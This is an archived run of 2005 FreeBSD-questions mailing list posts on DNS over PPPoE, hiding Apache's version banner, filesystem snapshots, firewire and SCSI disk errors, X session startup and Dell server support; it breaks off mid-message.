ESMTP id 0EABB2B83D; Mon, 7 Feb 2005 17:05:25 -0500 (EST) From: Rick Fournier Organization: RimaSec Internet Services To: freebsd-isp@freebsd.org, mario Date: Mon, 7 Feb 2005 17:05:19 -0500 User-Agent: KMail/1.7.2 References: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> <51625.192.168.23.8.1107813595.squirrel@mail.schmut.com> In-Reply-To: <51625.192.168.23.8.1107813595.squirrel@mail.schmut.com> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart1709066.hKoOSaiICQ"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502071705.23685.rick@rimasec.net> X-Virus-Scanned: by amavisd-new at mta.rimasec.net cc: shawnblan@yahoo.com cc: freebsd-questions@freebsd.org Subject: Re: ISP connection issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 22:05:26 -0000 --nextPart1709066.hKoOSaiICQ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Their RADIUS servers *should* assign DNS addresses automatically... =2DRick On February 7, 2005 04:59 pm, mario wrote: > you mean you can connect? can you ping their gateway ip. > domain resolution is done via dns. You need to add the dns server address > they provide to your /etc/resolv.conf file by hand, or run your own > dnscache. > i guess PPPoE only provides a gateway address which is handled by > =A0add default HISADDR > below. =2D-=20 Rimasec Internet Services www.rimasec.net / info@rimasec.net phone: (514) 998-7830 / fax: (514) 998-7130 Owner & Systems Administrator / Rick Fournier (rick@rimasec.net) GnuPG / PGP Key: 31846E22 (http://www.rimasec.net/keys/rick.asc) Key Fingerprint: B1E3 AE2E C867 F491 BF9F 9485 7818 122D 3184 6E22 --nextPart1709066.hKoOSaiICQ Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCB+YjeBgSLTGEbiIRAkK7AJ42kFv+VaV/ZJsN/7dWbR1Fx++HWACaAqOk wsqDdu5738L0x8T1K5C2eHI= =uAGs -----END PGP SIGNATURE----- --nextPart1709066.hKoOSaiICQ-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 22:18:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DED6D16A4CF for ; Mon, 7 Feb 2005 22:18:58 +0000 (GMT) Received: from badcomputer.org (S01060040f4399d90.ok.shawcable.net [24.66.229.115]) by mx1.FreeBSD.org (Postfix) with ESMTP id A234B43D2F for ; Mon, 7 Feb 2005 22:18:58 +0000 (GMT) (envelope-from bulliver@badcomputer.org) Received: from [192.168.0.102] (helo=virgo.badcomputer.org) by badcomputer.org with esmtp (Exim 2.45) id 1CyHDo-0003DS-RM for freebsd-questions@freebsd.org; Mon, 07 Feb 2005 14:19:08 -0800 From: darren kirby Organization: Badcomputer Org. Date: Mon, 7 Feb 2005 14:19:15 -0800 User-Agent: KMail/1.7.2 To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart1621670.5jtpKu8ZU3"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502071419.21100.bulliver@badcomputer.org> Subject: Re: Change Apache version string X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: bulliver@badcomputer.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 22:18:59 -0000 --nextPart1621670.5jtpKu8ZU3 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline quoth the Pat Maddox: > I've got mod_php installed as well as mod_jk, so whenever there's a > 404 Apache displays > Apache/2.0.52 (FreeBSD) PHP/4.3.10 mod_jk/1.2.6 > > I'm not sure if I'm being overly paranoid, but I don't really like the > fact that all that info gets displayed. Is there any way I can change > Apache's version string, like I can with any ftp or smtp daemon? In your apache conf file change "ServerTokens" directive: ### Set to one of: Full | OS | Minor | Minimal | Major | Prod ### where Full conveys the most information, and Prod the least. ServerTokens Prod -d -- darren kirby :: Part of the problem since 1976 :: http://badcomputer.org "...the number of UNIX installations has grown to 10, with more expected..." - Dennis Ritchie and Ken Thompson, June 1972 --nextPart1621670.5jtpKu8ZU3 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQBCB+lpwPD5Cr/3CJgRAjDiAKCK49Gm/i2KXUbRzJ8Cm93LvoVriACeNtOJ v91xSLcMrDtkJUwT8FR9SI8= =EsvA -----END PGP SIGNATURE----- --nextPart1621670.5jtpKu8ZU3-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 22:20:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3862116A4CE for ; Mon, 7 Feb 2005 22:20:50 +0000 (GMT) Received: from nagual.st (cc20684-a.assen1.dr.home.nl [217.122.132.217]) by mx1.FreeBSD.org (Postfix) with ESMTP id F2F9B43D41 for ; Mon, 7 Feb 2005 22:20:48 +0000 (GMT) (envelope-from dick@nagual.st) Received: from lothlorien.nagual.st (lothlorien.nagual.st [192.168.11.1]) by nagual.st with esmtp; Mon, 07 Feb 2005 23:19:33 +0100 Date: Mon, 7 Feb 2005 23:19:33 +0100 From: dick hoogendijk To: freebsd-questions@freebsd.org Message-Id: <20050207231933.79e6a04f.dick@nagual.st> In-Reply-To: <810a540e0502071359355a641d@mail.gmail.com> References: <810a540e0502071359355a641d@mail.gmail.com> Organization: nagual SiTe X-Mailer: Sylpheed version 1.0.0rc (GTK+ 1.2.10; i386-portbld-freebsd4.10) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Change Apache version string X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 22:20:50 -0000 On Mon, 7 Feb 2005 14:59:19 -0700 Pat Maddox wrote: > I've got mod_php installed as well as mod_jk, so whenever there's a > 404 Apache displays > Apache/2.0.52 (FreeBSD) PHP/4.3.10 mod_jk/1.2.6 > > I'm not sure if I'm being overly paranoid, but I don't really like the > fact that all that info gets displayed. Is there any way I can change > Apache's version string, like I can with any ftp or smtp daemon? ServerSignature Off Put this in your httpd.conf file and apache won't show anything ;-) -- dick -- http://nagual.st/ -- PGP/GnuPG key: F86289CE ++ Running FreeBSD 4.11 ++ FreeBSD 5.3 + Nai tiruvantel ar vayuvantel i Valar tielyanna nu vilja From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 22:54:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7072B16A4CE for ; Mon, 7 Feb 2005 22:54:21 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.201]) by mx1.FreeBSD.org (Postfix) with ESMTP id CE1B843D1D for ; Mon, 7 Feb 2005 22:54:20 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so829700rne for ; Mon, 07 Feb 2005 14:54:20 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=CpHEpKfzHhSuFHkf7i78EHYoL7fxm8HuAiVjRdfrmSKrE+DKHu9vRQmiTjbD4qaz/AqeRrMHfHg/CmSLEYxlsgbeUQH74y2Kcefpapc/6Dl8c+dYbRubCMYZCmbjVxlVU23Vydz1EMIxiALqGRIZKxm4BsQ5wLDz4NRnSpqdab0= Received: by 10.38.12.30 with SMTP id 30mr338656rnl; Mon, 07 Feb 2005 14:54:18 -0800 (PST) Received: by 10.38.74.23 with HTTP; Mon, 7 Feb 2005 14:54:18 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 23:54:18 +0100 From: Gert Cuykens To: John In-Reply-To: <20050207123606.A8843@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050207104828.N88241@maren.thelosingend.net> <20050207123606.A8843@starfire.mn.org> cc: questions@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: .snap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 22:54:21 -0000 On Mon, 7 Feb 2005 12:36:06 -0600, John wrote: > On Mon, Feb 07, 2005 at 07:03:56PM +0100, Gert Cuykens wrote: > > On Mon, 7 Feb 2005 10:52:28 +0100 (CET), Svein Halvor Halvorsen > > wrote: > > > > > > * Gert Cuykens [2005-02-07 00:32 +0100] > > > > What are .snap directories ? > > > > > > Take a look at these references: > > > > > > - mksnap_ffs(8) > > > - dump(8) [under the -L option] > > > - mount(8) [under the -o snapshot option] > > > - /usr/src/sys/ufs/ffs/README.snapshot > > > > > > > > > Svein Halvor > > > > > > > So that means i can delete the directories right :) > > > > What is a snapshot of a filesystem ? How big is a snapshot for example > > of a 8gb hd ? What is the difference between a snapshot and a bacup > > image of the hd ? > > Rather than filling up the archives with it again, I'll send you > by private e-mail to messages I wrote about a month ago that addressed > these issues. > -- > > John Lind > john@starfire.MN.ORG > Thx so i learnt from this that A) i can delete .snap directories B) snapshot + data = bacup image From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 22:54:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6330C16A4CE for ; Mon, 7 Feb 2005 22:54:22 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id E9C4F43D1F for ; Mon, 7 Feb 2005 22:54:21 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so829699rne for ; Mon, 07 Feb 2005 14:54:20 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=CpHEpKfzHhSuFHkf7i78EHYoL7fxm8HuAiVjRdfrmSKrE+DKHu9vRQmiTjbD4qaz/AqeRrMHfHg/CmSLEYxlsgbeUQH74y2Kcefpapc/6Dl8c+dYbRubCMYZCmbjVxlVU23Vydz1EMIxiALqGRIZKxm4BsQ5wLDz4NRnSpqdab0= Received: by 10.38.12.30 with SMTP id 30mr338656rnl; Mon, 07 Feb 2005 14:54:18 -0800 (PST) Received: by 10.38.74.23 with HTTP; Mon, 7 Feb 2005 14:54:18 -0800 (PST) Message-ID: Date: Mon, 7 Feb 2005 23:54:18 +0100 From: Gert Cuykens To: John In-Reply-To: <20050207123606.A8843@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050207104828.N88241@maren.thelosingend.net> <20050207123606.A8843@starfire.mn.org> cc: questions@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: .snap X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 22:54:22 -0000 On Mon, 7 Feb 2005 12:36:06 -0600, John wrote: > On Mon, Feb 07, 2005 at 07:03:56PM +0100, Gert Cuykens wrote: > > On Mon, 7 Feb 2005 10:52:28 +0100 (CET), Svein Halvor Halvorsen > > wrote: > > > > > > * Gert Cuykens [2005-02-07 00:32 +0100] > > > > What are .snap directories ? > > > > > > Take a look at these references: > > > > > > - mksnap_ffs(8) > > > - dump(8) [under the -L option] > > > - mount(8) [under the -o snapshot option] > > > - /usr/src/sys/ufs/ffs/README.snapshot > > > > > > > > > Svein Halvor > > > > > > > So that means i can delete the directories right :) > > > > What is a snapshot of a filesystem ? How big is a snapshot for example > > of a 8gb hd ? What is the difference between a snapshot and a bacup > > image of the hd ? > > Rather than filling up the archives with it again, I'll send you > by private e-mail to messages I wrote about a month ago that addressed > these issues. > -- > > John Lind > john@starfire.MN.ORG > Thx so i learnt from this that A) i can delete .snap directories B) snapshot + data = bacup image From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 23:03:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 311A716A4CE for ; Mon, 7 Feb 2005 23:03:30 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.195]) by mx1.FreeBSD.org (Postfix) with ESMTP id B211B43D1D for ; Mon, 7 Feb 2005 23:03:29 +0000 (GMT) (envelope-from teejay@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so818798wri for ; Mon, 07 Feb 2005 15:03:27 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=VtwPq0WmOOBF7QFXvQjQNgcZLHpak9ua45s7xM6/yRqp8avI/rOLIl7vvqZYJ7YiIUdrUGLzXBmAYd0zaNQDb+gmy7zN195+3GFH9dHgWGI3cAdteb1BNFyciJDC2PpMvk6nbso8oVYtIL0P7HkJDejdIK+SP/9PKt0BxJh4d50= Received: by 10.54.28.80 with SMTP id b80mr4349wrb; Mon, 07 Feb 2005 15:03:26 -0800 (PST) Received: by 10.54.48.34 with HTTP; Mon, 7 Feb 2005 15:03:26 -0800 (PST) Message-ID: <8c0985ff05020715032723d9e3@mail.gmail.com> Date: Tue, 8 Feb 2005 07:03:26 +0800 From: Teejay Teodoro To: Pat Maddox In-Reply-To: <810a540e0502071359355a641d@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <810a540e0502071359355a641d@mail.gmail.com> cc: freebsd-questions@freebsd.org Subject: Re: Change Apache version string X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Teejay Teodoro List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 23:03:30 -0000 If you wanna be more 'adventurous', you could even use ModSecurity[0]. To change you Apache server 'string' to... let's say... IIS? Here's the rule... # Change Server: string SecServerSignature "Microsoft-IIS/2.0 (Unix)" Have fun. It's easy to learn and to fiddle around with. [0] www.modsecurity.org On Mon, 7 Feb 2005 14:59:19 -0700, Pat Maddox wrote: > I've got mod_php installed as well as mod_jk, so whenever there's a > 404 Apache displays > Apache/2.0.52 (FreeBSD) PHP/4.3.10 mod_jk/1.2.6 > > I'm not sure if I'm being overly paranoid, but I don't really like the > fact that all that info gets displayed. Is there any way I can change > Apache's version string, like I can with any ftp or smtp daemon? > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > -- teejay teodoro teejay[at]gmail[dot]com From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 23:38:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 74DAE16A4CE for ; Mon, 7 Feb 2005 23:38:07 +0000 (GMT) Received: from relay02.roc.ny.frontiernet.net (relay02.roc.ny.frontiernet.net [66.133.131.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1995A43D1F for ; Mon, 7 Feb 2005 23:38:07 +0000 (GMT) (envelope-from drew@mykitchentable.net) Received: from filter02.roc.ny.frontiernet.net (filter02.roc.ny.frontiernet.net [66.133.131.177]) by relay02.roc.ny.frontiernet.net (Postfix) with ESMTP id 8726E10149 for ; Mon, 7 Feb 2005 23:38:06 +0000 (UTC) Received: from relay02.roc.ny.frontiernet.net ([66.133.131.35]) [66.133.131.177]) (amavisd-new, port 10024) with LMTP id 12266-11-47 for ; Mon, 7 Feb 2005 23:38:06 +0000 (UTC) Received: from blacklamb.mykitchentable.net (67-137-237-141.dsl2.elk.ca.frontiernet.net [67.137.237.141]) by relay02.roc.ny.frontiernet.net (Postfix) with ESMTP id D9E40104ED for ; Mon, 7 Feb 2005 23:38:05 +0000 (UTC) Received: from [192.168.1.3] (bigdaddy.mykitchentable.net [192.168.1.3]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by blacklamb.mykitchentable.net (Postfix) with ESMTP id D34553BF358 for ; Mon, 7 Feb 2005 15:38:01 -0800 (PST) Message-ID: <4207FBCC.3090509@mykitchentable.net> Date: Mon, 07 Feb 2005 15:37:48 -0800 From: Drew Tomlinson User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: FreeBSD Questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20040701 (2.0) at filter02.roc.ny.frontiernet.net Subject: sbp0 Errors - What Do They Mean? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 23:38:07 -0000 I'm still having this problem and would appreciate any assistance someone might offer. Please let me know if I can include more information. Thanks, Drew -------- Original Message -------- Subject: Help Interpreting sbp0 Errors Date: Mon, 24 Jan 2005 11:43:21 -0800 From: Drew Tomlinson I've been having problems with vinum volumes since an upgrade from 4.9 to 4.10 which I posted about here: http://docs.freebsd.org/cgi/mid.cgi?41D748F0.1000303 However maybe that is the *symptom* instead of the *problem*. I shut down my system from the console and saw this output: --- BEGIN --- boot() called on cpu#0 Waiting (max 60 seconds) for system process `vnlru' to stop...stopped Waiting (max 60 seconds) for system process `bufdaemon' to stop...stopped Waiting (max 60 seconds) for system process `syncer' to stop...stopped syncing disks... 4 done Uptime: 28d20h48m39s sbp0:0:0 request timeout(mgm orb:0x0a550b14) ... reset start sbp0:0:0 request timeout(cmd orb:0x0a550c4c) ... agent reset (da2:sbp0:0:0:0): Synchronize cache failed, status == 0xb, scsi status == 0x0 sbp0:0:1 request timeout(cmd orb:0x0a5528a4) ... agent reset (da3:sbp0:0:0:1): Synchronize cache failed, status == 0xb, scsi status == 0x0 The operating system has halted. Please press any key to reboot. --- END --- da2 and da3 are two IDE drives in a firewire enclosure. These are also the drives that come up "referenced" after restarting. What do these errors mean? How can I correct them? Is the following section from the sbp man page applicable to my situation? Some (broken) HDDs don't work well with tagged queuing. If you have prob- lems with such drives, try ``camcontrol [device id] tags -N 1'' to dis- able tagged queuing. Thanks for your help! Drew -- Visit The Alchemist's Warehouse Magic Tricks, DVDs, Videos, Books, & More! http://www.alchemistswarehouse.com From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 23:47:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B2B1616A4CE for ; Mon, 7 Feb 2005 23:47:06 +0000 (GMT) Received: from makeworld.com (makeworld.com [198.92.228.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5BF2C43D54 for ; Mon, 7 Feb 2005 23:47:06 +0000 (GMT) (envelope-from racerx@makeworld.com) Received: from localhost (localhost.com [127.0.0.1]) by makeworld.com (Postfix) with ESMTP id B467A6128; Mon, 7 Feb 2005 17:47:05 -0600 (CST) Received: from makeworld.com ([127.0.0.1]) by localhost (makeworld.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 68212-01; Mon, 7 Feb 2005 17:47:00 -0600 (CST) Received: from [127.0.0.1] (racerx.makeworld.com [198.92.228.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by makeworld.com (Postfix) with ESMTP id 880896110; Mon, 7 Feb 2005 17:47:00 -0600 (CST) Message-ID: <4207FDF6.3010604@makeworld.com> Date: Mon, 07 Feb 2005 17:47:02 -0600 From: Chris User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Marshall Kiam-Laine References: <1107786836.3586.13.camel@localhost.localdomain> In-Reply-To: <1107786836.3586.13.camel@localhost.localdomain> X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by ClamAV 0.75.1/amavisd-new-2.2.1 (20041222) at makeworld.com - Isn't it ironic cc: freebsd-questions@freebsd.org Subject: Re: startup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 23:47:06 -0000 Marshall Kiam-Laine wrote: > ***hi all, rookie fiddler calling :) > > just loaded fbsd5.3amd64 but it stopped at the login prompt. > > (1) $>startkde didnt work, is that the right command please ? type this: echo exec startkde > .xinitrc > > (2) what command to start gnome ? type this: echo exec gnome-session >> .xinitrc > > (3) how to tell it to start one of the GUI automatically ? The contense of .xinitrc should now look like this: exec startkde exec gnome-session Comment out one of the line with # in front of it. So, if you want to start KDE: exec startkde #exec gnome-session Then, when you type: startx KDE starts. Do the opposite if you want gnome > > many thanks, kamanism@ntlworld.com > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions To > unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > > -- Best regards, Chris The label "new" and/or "improved" means the price went up. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 00:01:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2D7D616A4CE for ; Tue, 8 Feb 2005 00:01:25 +0000 (GMT) Received: from post5.inre.asu.edu (post5.inre.asu.edu [129.219.110.120]) by mx1.FreeBSD.org (Postfix) with ESMTP id EF13B43D1F for ; Tue, 8 Feb 2005 00:01:24 +0000 (GMT) (envelope-from David.Bear@asu.edu) Received: from conversion.post5.inre.asu.edu by asu.edu (PMDF V6.1-1X6 #30769) id <0IBK00I01G1I78@asu.edu> for freebsd-questions@freebsd.org; Mon, 07 Feb 2005 17:00:54 -0700 (MST) Received: from smtp.asu.edu (smtp.asu.edu [129.219.110.107]) by asu.edu (PMDF V6.1-1X6 #30769) with ESMTP id <0IBK00G3KG1ITP@asu.edu> for freebsd-questions@freebsd.org; Mon, 07 Feb 2005 17:00:54 -0700 (MST) Received: from moroni.pp.asu.edu (moroni.pp.asu.edu [129.219.69.200]) (8.12.10/8.12.10/asu_smtp_relay,nullclient,tcp_wrapped) with ESMTP id j1800rMC018429 for ; Mon, 07 Feb 2005 17:00:53 -0700 (MST) Received: by moroni.pp.asu.edu (Postfix, from userid 500) id 37A63FDB; Mon, 07 Feb 2005 17:00:54 -0700 (MST) Date: Mon, 07 Feb 2005 17:00:54 -0700 From: David Bear To: freebsd-questions@freebsd.org Message-id: <20050208000054.GE14202@asu.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.4.1i Subject: dell poweredge servers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: David.Bear@asu.edu List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 00:01:25 -0000 I was looking at the support hardware list for Fbsd 5.x and could find no mention of the PERC3-DI scsi controller.. so I was wondering if anyone has used a dell poweredge 2650, and what your experience was running Freebsd 4.X and 5.x on it. -- David Bear phone: 480-965-8257 fax: 480-965-9189 College of Public Programs/ASU Wilson Hall 232 Tempe, AZ 85287-0803 "Beware the IP portfolio, everyone will be suspect of trespassing" From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 00:16:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2FA6B16A4CE for ; Tue, 8 Feb 2005 00:16:03 +0000 (GMT) Received: from rwcrmhc12.comcast.net (rwcrmhc12.comcast.net [216.148.227.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id D401343D39 for ; Tue, 8 Feb 2005 00:16:02 +0000 (GMT) (envelope-from mag@hamletinc.com) Received: from [192.168.12.99] (c-24-19-27-240.client.comcast.net[24.19.27.240]) by comcast.net (rwcrmhc12) with ESMTP id <20050208001601014003ht0re>; Tue, 8 Feb 2005 00:16:02 +0000 Message-ID: <42080472.9080005@hamletinc.com> Date: Mon, 07 Feb 2005 16:14:42 -0800 From: "Mark A. Garcia" User-Agent: Mozilla Thunderbird 0.6 (X11/20040519) X-Accept-Language: en-us, en MIME-Version: 1.0 To: David.Bear@asu.edu References: <20050208000054.GE14202@asu.edu> In-Reply-To: <20050208000054.GE14202@asu.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: dell poweredge servers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 00:16:03 -0000 David Bear wrote: >I was looking at the support hardware list for Fbsd 5.x and could find >no mention of the PERC3-DI scsi controller.. so I was wondering if >anyone has used a dell poweredge 2650, and what your experience was >running Freebsd 4.X and 5.x on it. > > > I've been running FBSD 4.7 since Apr 2003 on a PE2650 with the PERC3-DI controller. I haven't had any problem setting it up. Just make sure you leave the device aac option in your kernel config. Cheers, -.mag From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 00:53:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3A3C816A4CE for ; Tue, 8 Feb 2005 00:53:41 +0000 (GMT) Received: from zoot.lafn.org (zoot.lafn.ORG [206.117.18.6]) by mx1.FreeBSD.org (Postfix) with ESMTP id D1F6743D49 for ; Tue, 8 Feb 2005 00:53:40 +0000 (GMT) (envelope-from bc979@lafn.org) Received: from [10.0.1.90] ([4.28.157.47]) (authenticated bits=0) by zoot.lafn.org (8.12.3p3/8.12.3) with ESMTP id j180rdMH019539 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 7 Feb 2005 16:53:40 -0800 (PST) (envelope-from bc979@lafn.org) Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Doug Hardie Date: Mon, 7 Feb 2005 16:53:41 -0800 To: f-questions List X-Mailer: Apple Mail (2.619.2) X-Virus-Scanned: ClamAV 0.80/680/Sun Jan 23 15:16:15 2005 clamav-milter version 0.80j on zoot.lafn.org X-Virus-Status: Clean Subject: Re: SCSI Problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 00:53:41 -0000 On Feb 5, 2005, at 15:59, Doug Hardie wrote: > I have a system that was running fine with 2 SCSI drives. Both on the > same line, the last one terminated. I removed the first one leaving > the one with the termination. Now when the system boots I get the > strangest messages and the results are quite unusual. Here are the > console messages during the boot process: > > ......... > From here on out the system completes booting as normal and runs just > fine. Everything works properly except that the system thinks it has > 16 SCSI drives. There is only one, but camcontrol shows it on all > targets and disklabel gives the real disk label for all values of > /dev/da0s1 through /dev/da14/s1. The physical disk has no jumpers. > Any ideas what might cause this? I have never seen anything like it > before. I can't imagine what I did to cause this. > > Here is the camcontrol devlist -v output: > > scbus0 on ahc0 bus 0: > at scbus0 target 1 lun 0 (pass0,da0) > at scbus0 target 2 lun 0 (pass1,da1) > at scbus0 target 3 lun 0 (pass2,da2) > at scbus0 target 4 lun 0 (pass3,da3) > at scbus0 target 5 lun 0 (pass4,da4) > at scbus0 target 6 lun 0 (pass5,da5) > at scbus0 target 7 lun 0 (pass6,da6) > at scbus0 target 8 lun 0 (pass7,da7) > at scbus0 target 9 lun 0 (pass8,da8) > at scbus0 target 10 lun 0 > (pass9,da9) > at 